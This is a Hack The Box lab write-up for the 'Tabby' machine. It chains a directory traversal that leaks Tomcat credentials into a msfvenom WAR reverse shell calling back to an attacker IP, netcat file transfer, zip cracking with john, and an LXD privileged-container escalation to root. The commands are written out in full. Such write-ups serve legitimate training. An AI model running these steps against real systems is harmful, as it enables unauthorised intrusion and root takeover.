HTB Writeup [Linux - Easy] - Tabby

Summary

• Tabby is a linux machine hosting both Apache web server and Tomcat.
• The website on port 80 had a Directory Traversal vulnerability which enabled us to read a Tomcat configuration file which contained valid credentials.
• Using those, we get a user with enough privileges to upload a WAR file containing a reverse shell. And, with it, we access the box as the tomcat user.
• We find an encrypted backup archive in the webroot. We crack it with john to get a password.
• The password was being reused by another user on the box (ash) who happened to be a member of the lxd group.
• We escalate our privileges to root by creating a specially-configured container.

---

NMAP

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap gives us areas to check:

• the website on port 80
• and the Tomcat instance on port 8080
• SSH would come in handy if we get any creds

Port 80

The home page here was mostly static content.

except for the link for the “News” page.

note: on the link below, notice how the host name changed to “megahosting.htb”

an entry in our /etc/hosts will take care of this Virtual Host Routing

10.10.10.194 megahosting.htb

we also notice that news.php handles a parameter called file. this looks like a file inclusion vulnerability.

trying /etc/passwd in the parameter doesn’t work.

but going 4 directories back with ../../../../ gets us the confirmation we need.

after a couple of tries to get the path right, we are able to get the source code of the news.php file:

the fopen function here makes this a Directory/Path Traversal vulnerability and not a Local File Inclusion.

that’s because fopen just reads a file’s contents. it doesn’t evaluate PHP code like include or require

Knowing this bit spares us the effort of trying to get code execution by including PHP.

Reading Sensitive Files

As a quick check, we try to read the ash user’s private SSH key (/home/ash/.ssh/id_rsa). But it’s not that easy :)

We then think “maybe we should take a look at tomcat before diving any deeper here”. Just in case..

We get some decent information from this page. the webroot and where Tomcat is installed.

But, when it comes to sensitive files, there’s a very important one called tomcat-users.xml. it’s in /usr/share/tomcat9/etc/ by default.

We found it there and got creds for a user with very nice privileges :]

Exploiting our Tomcat Privileges for RCE

The manager-script role has access to upload WAR files.

to abuse this, we will generate a WAR reverse shell with msfvenom

msfvenom -p java/shell_reverse_tcp lhost=10.10.16.3 lport=9000 -f war -o revvy.war

then upload the WAR file using curl

curl -v -u tomcat:'$3cureP4s5w0rd123!' -T revvy.war "http://tabby:8080/manager/text/deploy?path=/shell&update=true"

start up a netcat listener on port 9000

nc -lvnp 9000

and curl the endpoint to hit and trigger our reverse shell

curl http://tabby:8080/shell

we’re in as tomcat :)

Pivoting via Password Reuse

Right after improving our shell, we start with checking the files in /var/www/html

there was a folder called files. It contained a password-protected zip archive that was owned by the ash user.

we transfer it over to our kali using netcat so we can crack it

# on tabby
nc -lvnp 5000 < 16162020_backup.zip
# on our kali
nc tabby 5000 > ash_backup.zip

and, to verify that the file wasn’t corrupted in-transit, we do a quick integrity check using md5sum.

we use zip2john to get a hash for john to crack.

it successfully cracked. but we didn’t find anything important within the archive itself.

the files were practically the same as the original ones.

But, since we now had a password, we tried it against ash and root

it didn’t work with root, but did with ash :)

LXD Privilege Escalation

As you may have noticed from the previous image, ash is part of the lxd group

this is almost exactly the same situation as in the Brainfuck Privesc.

one minor difference is that we have to initialize the LX daemon with lxd init before importing the image.

note: also make sure to add /snap/bin to the PATH environment variable as it’s not there by default.

export PATH=$PATH:/snap/bin/

for a bit of automation, we’re going to throw the commands into a bash script. here are the contents:

#!/bin/bash
lxc image import alpine-small-image.tar.gz --alias myimage
lxc image list
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

after getting the container root shell, we add an SUID bit to the host’s bash shell so we can run it as root

chmod +s /mnt/root/bin/bash

Cleaning Up

To clear away remnants, we have to stop the container and delete it along with the image we imported.

lxc stop mycontainer
lxc delete mycontainer
lxc image delete myimage